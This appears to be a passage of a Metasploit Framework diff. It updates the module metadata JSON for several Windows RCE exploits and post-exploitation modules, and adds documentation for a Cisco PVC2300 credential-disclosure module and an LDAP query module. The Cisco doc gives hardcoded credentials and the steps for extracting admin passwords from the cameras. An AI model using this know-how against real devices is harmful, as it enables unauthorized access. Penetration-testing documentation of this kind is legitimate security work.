|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows Dropper",
|
||||
"Windows Command"
|
||||
],
|
||||
"mod_time": "2022-08-09 16:12:54 +0000",
|
||||
"path": "/modules/exploits/windows/http/advantech_iview_networkservlet_cmd_inject.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/advantech_iview_networkservlet_cmd_inject",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/http/advantech_iview_unauth_rce": {
|
||||
"name": "Advantech iView Unauthenticated Remote Code Execution",
|
||||
"fullname": "exploit/windows/http/advantech_iview_unauth_rce",
|
||||
@@ -142510,6 +143272,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/http/manageengine_adaudit_plus_cve_2022_28219": {
|
||||
"name": "ManageEngine ADAudit Plus CVE-2022-28219",
|
||||
"fullname": "exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-29",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Naveen Sunkavally",
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module exploits CVE-2022-28219, which is a pair of\n vulnerabilities in ManageEngine ADAudit Plus versions before build\n 7060: a path traversal in the /cewolf endpoint, and a blind XXE in,\n to upload and execute an executable file.",
|
||||
"references": [
|
||||
"CVE-2022-28219",
|
||||
"URL-https://www.horizon3.ai/red-team-blog-cve-2022-28219/",
|
||||
"URL-https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis",
|
||||
"URL-https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": 8081,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows Command"
|
||||
],
|
||||
"mod_time": "2022-08-05 11:34:46 +0000",
|
||||
"path": "/modules/exploits/windows/http/manageengine_adaudit_plus_cve_2022_28219.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/manageengine_adaudit_plus_cve_2022_28219",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/manageengine_adselfservice_plus_cve_2021_40539": {
|
||||
"name": "ManageEngine ADSelfService Plus CVE-2021-40539",
|
||||
"fullname": "exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539",
|
||||
@@ -146837,6 +147661,72 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/zoho_password_manager_pro_xml_rpc_rce": {
|
||||
"name": "Zoho Password Manager Pro XML-RPC Java Deserialization",
|
||||
"fullname": "exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-24",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Vinicius",
|
||||
"Y4er",
|
||||
"Grant Willcox"
|
||||
],
|
||||
"description": "This module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro\n before 12101 and PAM360 before 5510. Unauthenticated attackers can send a\n crafted XML-RPC request containing malicious serialized data to /xmlrpc to\n gain RCE as the SYSTEM user.",
|
||||
"references": [
|
||||
"CVE-2022-35405",
|
||||
"URL-https://xz.aliyun.com/t/11578",
|
||||
"URL-https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html",
|
||||
"URL-https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd, x64",
|
||||
"rport": 7272,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows EXE Dropper",
|
||||
"Windows Command",
|
||||
"Windows Powershell"
|
||||
],
|
||||
"mod_time": "2022-08-02 14:27:27 +0000",
|
||||
"path": "/modules/exploits/windows/http/zoho_password_manager_pro_xml_rpc_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/zoho_password_manager_pro_xml_rpc_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/ibm/ibm_was_dmgr_java_deserialization_rce": {
|
||||
"name": "IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution",
|
||||
"fullname": "exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce",
|
||||
@@ -147002,7 +147892,7 @@
|
||||
"author": [
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "This exploits a buffer overflow in the request processor of\n the Internet Printing Protocol ISAPI module in IIS. This\n module works against Windows 2000 service pack 0 and 1. If\n the service stops responding after a successful compromise,\n run the exploit a couple more times to completely kill the\n hung process.",
|
||||
"description": "This exploits a buffer overflow in the request processor of the\n Internet Printing Protocol ISAPI module in IIS. This module\n works against Windows 2000 Server and Professional SP0-SP1.\n\n If the service stops responding after a successful compromise,\n run the exploit a couple more times to completely kill the\n hung process.",
|
||||
"references": [
|
||||
"CVE-2001-0241",
|
||||
"OSVDB-3323",
|
||||
@@ -147011,18 +147901,43 @@
|
||||
"URL-https://seclists.org/lists/bugtraq/2001/May/0005.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"arch": "x86",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows 2000 English SP0-SP1"
|
||||
"Windows 2000 SP0-SP1 (Arabic)",
|
||||
"Windows 2000 SP0-SP1 (Czech)",
|
||||
"Windows 2000 SP0-SP1 (Chinese)",
|
||||
"Windows 2000 SP0-SP1 (Dutch)",
|
||||
"Windows 2000 SP0-SP1 (English)",
|
||||
"Windows 2000 SP0-SP1 (French)",
|
||||
"Windows 2000 SP0-SP1 (Finnish)",
|
||||
"Windows 2000 SP0-SP1 (German)",
|
||||
"Windows 2000 SP0-SP1 (Korean)",
|
||||
"Windows 2000 SP0-SP1 (Hungarian)",
|
||||
"Windows 2000 SP0-SP1 (Italian)",
|
||||
"Windows 2000 SP0-SP1 (Portuguese)",
|
||||
"Windows 2000 SP0-SP1 (Spanish)",
|
||||
"Windows 2000 SP0-SP1 (Swedish)",
|
||||
"Windows 2000 SP0-SP1 (Turkish)",
|
||||
"Windows 2000 Pro SP0 (Greek)",
|
||||
"Windows 2000 Pro SP1 (Greek)"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-07-09 01:36:10 +0000",
|
||||
"path": "/modules/exploits/windows/iis/ms01_023_printer.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/iis/ms01_023_printer",
|
||||
@@ -147030,6 +147945,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -147195,7 +148119,7 @@
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2002-11-20",
|
||||
"disclosure_date": "2002-11-02",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"aushack <patrick@osisecurity.com.au>"
|
||||
@@ -147209,7 +148133,7 @@
|
||||
"URL-http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"arch": "x86",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
@@ -147227,9 +148151,18 @@
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows 2000 Pro English SP0"
|
||||
"Windows 2000 Pro SP0-SP3 (English)",
|
||||
"Windows 2000 Pro SP0 (Korean)",
|
||||
"Windows 2000 Pro SP0 (Dutch)",
|
||||
"Windows 2000 Pro SP0 (Finnish)",
|
||||
"Windows 2000 Pro SP0 (Turkish)",
|
||||
"Windows 2000 Pro SP0-SP1 (Greek)",
|
||||
"Windows 2000 Pro SP1 (Arabic)",
|
||||
"Windows 2000 Pro SP1 (Czech)",
|
||||
"Windows 2000 Pro SP2 (French)",
|
||||
"Windows 2000 Pro SP2 (Portuguese)"
|
||||
],
|
||||
"mod_time": "2017-11-09 03:00:24 +0000",
|
||||
"mod_time": "2022-07-15 00:15:56 +0000",
|
||||
"path": "/modules/exploits/windows/iis/ms02_065_msadc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/iis/ms02_065_msadc",
|
||||
@@ -147237,6 +148170,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -147253,15 +148195,16 @@
|
||||
"author": [
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "This exploits a buffer overflow in NTDLL.dll on Windows 2000\n through the SEARCH WebDAV method in IIS. This particular\n module only works against Windows 2000. It should have a\n reasonable chance of success against any service pack.",
|
||||
"description": "This exploits a buffer overflow in NTDLL.dll on Windows 2000\n through the SEARCH WebDAV method in IIS. This particular\n module only works against Windows 2000. It should have a\n reasonable chance of success against SP0 to SP3.",
|
||||
"references": [
|
||||
"CVE-2003-0109",
|
||||
"OSVDB-4467",
|
||||
"BID-7116",
|
||||
"PACKETSTORM-30939",
|
||||
"MSB-MS03-007"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"arch": "x86",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
@@ -147281,7 +148224,7 @@
|
||||
"targets": [
|
||||
"Automatic Brute Force"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-07-07 20:31:57 +0000",
|
||||
"path": "/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/iis/ms03_007_ntdll_webdav",
|
||||
@@ -147289,6 +148232,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -151413,7 +152365,7 @@
|
||||
"targets": [
|
||||
"Windows Vista, 7, and 2008"
|
||||
],
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-07-28 11:02:59 +0000",
|
||||
"path": "/modules/exploits/windows/local/ms10_092_schelevator.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/ms10_092_schelevator",
|
||||
@@ -201059,17 +202011,17 @@
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>",
|
||||
"egypt <egypt@metasploit.com>"
|
||||
],
|
||||
"description": "This module prints out the operating system environment variables",
|
||||
"description": "This module prints out the operating system environment variables.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Linux,Windows",
|
||||
"platform": "Linux,Unix,Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-01 13:37:15 +0000",
|
||||
"path": "/modules/post/multi/gather/env.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/gather/env",
|
||||
@@ -201077,8 +202029,18 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"powershell",
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
@@ -203055,7 +204017,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-11-04 05:28:32 +0000",
|
||||
"mod_time": "2022-05-24 08:44:37 +0000",
|
||||
"path": "/modules/post/multi/recon/sudo_commands.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/recon/sudo_commands",
|
||||
@@ -205015,7 +205977,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-04-02 10:43:57 +0000",
|
||||
"mod_time": "2022-07-20 17:21:58 +0000",
|
||||
"path": "/modules/post/windows/gather/checkvm.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/checkvm",
|
||||
@@ -208620,7 +209582,7 @@
|
||||
"author": [
|
||||
"averagesecurityguy <stephen@averagesecurityguy.info>"
|
||||
],
|
||||
"description": "This module will check the file system and registry for particular artifacts. The\n list of artifacts is read from data/post/enum_artifacts_list.txt or a user specified file. Any\n matches are written to the loot.",
|
||||
"description": "This module will check the file system and registry for particular artifacts.\n\n The list of artifacts is read in YAML format from data/post/enum_artifacts_list.txt\n or a user specified file. Any matches are written to the loot.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -208630,7 +209592,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-08-07 16:01:45 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_artifacts.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_artifacts",
|
||||
@@ -208638,8 +209600,19 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"powershell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
@@ -209344,7 +210317,7 @@
|
||||
"author": [
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>"
|
||||
],
|
||||
"description": "This module will enumerate current and recently logged on Windows users",
|
||||
"description": "This module will enumerate current and recently logged on Windows users.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -209354,7 +210327,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-08-08 01:50:36 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_logged_on_users.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_logged_on_users",
|
||||
@@ -209362,8 +210335,19 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"powershell",
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
@@ -209514,7 +210498,7 @@
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/gather/enum_powershell_env": {
|
||||
"name": "Windows Gather Powershell Environment Setting Enumeration",
|
||||
"name": "Windows Gather PowerShell Environment Setting Enumeration",
|
||||
"fullname": "post/windows/gather/enum_powershell_env",
|
||||
"aliases": [
|
||||
|
||||
@@ -209525,9 +210509,10 @@
|
||||
"author": [
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>"
|
||||
],
|
||||
"description": "This module will enumerate Microsoft Powershell settings",
|
||||
"description": "This module will enumerate Microsoft PowerShell settings.",
|
||||
"references": [
|
||||
|
||||
"URL-https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies",
|
||||
"URL-https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -209535,7 +210520,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-01 00:56:21 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_powershell_env.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_powershell_env",
|
||||
@@ -209543,9 +210528,20 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
"meterpreter",
|
||||
"shell",
|
||||
"powershell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
@@ -210870,7 +211866,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-07-25 14:51:37 +0000",
|
||||
"path": "/modules/post/windows/gather/screen_spy.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/screen_spy",
|
||||
@@ -211575,7 +212571,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-08 12:56:52 +0000",
|
||||
"path": "/modules/post/windows/manage/forward_pageant.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/forward_pageant",
|
||||
@@ -211583,6 +212579,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
@@ -212171,7 +213176,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-08 18:00:36 +0000",
|
||||
"path": "/modules/post/windows/manage/powershell/exec_powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/powershell/exec_powershell",
|
||||
@@ -212198,7 +213203,7 @@
|
||||
"Ben Turner benpturner <Ben Turner benpturner@yahoo.com>",
|
||||
"Dave Hardy davehardy20 <Dave Hardy davehardy20@gmail.com>"
|
||||
],
|
||||
"description": "This module will download and execute one or more PowerShell script\n s over a present powershell session.\n Setting VERBOSE to true will show the stager results.",
|
||||
"description": "This module will download and execute one or more PowerShell scripts\n over a present powershell session.\n Setting VERBOSE to true will show the stager results.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -212208,7 +213213,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-08-08 18:00:36 +0000",
|
||||
"path": "/modules/post/windows/manage/powershell/load_script.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/powershell/load_script",
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order to download the configuration file
|
||||
containing the admin credentials for the web interface.
|
||||
|
||||
The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the module attempts to obtain a sessionID
|
||||
via an HTTP GET request to the vulnerable /oamp/System.xml endpoint using the `login` action and the hardcoded credentials `L1_admin:L1_51`.
|
||||
|
||||
If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml that uses the `downloadConfigurationFile`
|
||||
action in an attempt to download the configuration file.
|
||||
|
||||
The configuration file, if obtained, will be encdoded using base64 with a non-standard alphabet. In order to decode it,
|
||||
the module first translates the encoded configuration file from the default base64 alphabet to the custom alphabet.
|
||||
Then the configuration file is decoded using regular base64 and subsequently stored in the `loot` folder.
|
||||
|
||||
Finally, the module attempts to extract the admin credentials to the web interface from the decoded configuration file.
|
||||
|
||||
No known solution was made available for this vulnerability and no CVE has been published.
|
||||
It is therefore likely that most (if not all) Cisco PVC2300 cameras are affected.
|
||||
|
||||
This module was successfully tested against several Cisco PVC2300 cameras.
|
||||
|
||||
## Options
|
||||
No non-default options are configured.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/gather/cisco_pvc2300_download_config`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
### Cisco PVC2300
|
||||
```
|
||||
Module options (auxiliary/gather/cisco_pvc_2300_info_disclosure):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 172.31.31.233 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf6 auxiliary(gather/cisco_pvc_2300_info_disclosure) > run
|
||||
[*] Running module against 172.31.31.233
|
||||
|
||||
[*] The target may be vulnerable. Obtained sessionID 1122062985
|
||||
[+] Successfully downloaded the configuration file
|
||||
[*] Saving the full configuration file to /root/.msf4/loot/20220803124629_default_172.31.31.233_ciscopvc.config_489884.txt
|
||||
[*] Obtained device name PVC2300 POE Video Camera
|
||||
[+] Obtained the following admin credentials for the web interface from the configuration file:
|
||||
[*] admin username: admin
|
||||
[*] admin password: [obfuscated]
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,598 @@
|
||||
## Vulnerable Application
|
||||
This module allows users to query an LDAP server using either a custom LDAP query, or
|
||||
a set of LDAP queries under a specific category. Users can also specify a JSON or YAML
|
||||
file containing custom queries to be executed using the `RUN_QUERY_FILE` action.
|
||||
If this action is specified, then `QUERY_FILE_PATH` must be a path to the location
|
||||
of this JSON/YAML file on disk.
|
||||
|
||||
Users can also run a single query by using the `RUN_SINGLE_QUERY` option and then setting
|
||||
the `QUERY_FILTER` datastore option to the filter to send to the LDAP server and `QUERY_ATTRIBUTES`
|
||||
to a comma seperated string containing the list of attributes they are interested in obtaining
|
||||
from the results.
|
||||
|
||||
As a third option can run one of several predefined queries by setting `ACTION` to the
|
||||
appropriate value. These options will be loaded from the `ldap_queries_default.yaml` file
|
||||
located in the MSF configuration directory, located by default at `~/.msf4/ldap_queries_default.yaml`.
|
||||
|
||||
Note that you can override the default query settings in this way by defining a query with an
|
||||
action name that is the same as one of existing actions in the file at
|
||||
`data/auxiliary/gather/ldap_query/ldap_queries_default.yaml`. This will however prevent any updates
|
||||
for that action that may be made to the `data/auxiliary/gather/ldap_query/ldap_queries_default.yaml`
|
||||
file, which may occur as part of Metasploit updates/upgrades, from being used though, so keep this
|
||||
in mind when using the `~/.msf4/ldap_queries_default.yaml` file.
|
||||
|
||||
All results will be returned to the user in table, CSV or JSON format, depending on the value
|
||||
of the `OUTPUT_FORMAT` datastore option. The characters `||` will be used as a delimiter
|
||||
should multiple items exist within a single column.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/gather/ldap_query`
|
||||
2. Do: `set ACTION <target action>`
|
||||
3. Do: `set RHOSTS <target IP(s)>`
|
||||
4. Optional: `set RPORT <target port>` if target port is non-default.
|
||||
5: Optional: `set SSL true` if the target port is SSL enabled.
|
||||
6: Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### OUTPUT_FORMAT
|
||||
The output format to use. Can be either `csv`, `table` or `json` for
|
||||
CSV, Rex table output, or JSON output respectively.
|
||||
|
||||
### BASE_DN
|
||||
The LDAP base DN if already obtained. If not supplied, the module will
|
||||
automatically attempt to find the base DN for the target LDAP server.
|
||||
|
||||
### QUERY_FILE_PATH
|
||||
If the `ACTION` is set to `RUN_QUERY_FILE`, then this option is required and
|
||||
must be set to the full path to the JSON or YAML file containing the queries to
|
||||
be run.
|
||||
|
||||
The file format must follow the following convention:
|
||||
|
||||
```
|
||||
queries:
|
||||
- action: THE ACTION NAME
|
||||
description: "THE ACTION DESCRIPTION"
|
||||
filter: "THE LDAP FILTER"
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
```
|
||||
|
||||
Where `queries` is an array of queries to be run, each containing an `action` field
|
||||
containing the name of the action to be run, a `description` field describing the
|
||||
action, a `filter` field containing the filter to send to the LDAP server
|
||||
(aka what to search on), and the list of attributes that we are interested in from
|
||||
the results as an array.
|
||||
|
||||
### QUERY_FILTER
|
||||
Used only when the `RUN_SINGLE_QUERY` action is used. This should be set to the filter
|
||||
aka query that you want to send to the target LDAP server.
|
||||
|
||||
### QUERY_ATTRIBUTES
|
||||
Used only when the `RUN_SINGLE_QUERY` action is used. Should be a comma separated list
|
||||
of attributes to display from the full result set for each entry that was returned by the
|
||||
target LDAP server. Used to filter the results down to manageable sets of data.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### RUN_SINGLE_QUERY with Table Output
|
||||
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83
|
||||
RHOSTS => 172.27.51.83
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION RUN_SINGLE_QUERY
|
||||
ACTION => RUN_SINGLE_QUERY
|
||||
msf6 auxiliary(gather/ldap_query) > set QUERY_ATTRIBUTES dn,displayName,name
|
||||
QUERY_ATTRIBUTES => dn,displayName,name
|
||||
msf6 auxiliary(gather/ldap_query) > set QUERY_FILTER (objectClass=*)
|
||||
QUERY_FILTER => (objectClass=*)
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.27.51.83
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.27.51.83:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] Sending single query (objectClass=*) to the LDAP server...
|
||||
[*] DC=daforest DC=com
|
||||
==================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name daforest
|
||||
|
||||
[*] CN=Users DC=daforest DC=com
|
||||
===========================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name Users
|
||||
|
||||
[*] CN=Computers DC=daforest DC=com
|
||||
===============================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
name Computers
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] CN=WAPPS1000022 OU=TST OU=Tier 1 DC=daforest DC=com
|
||||
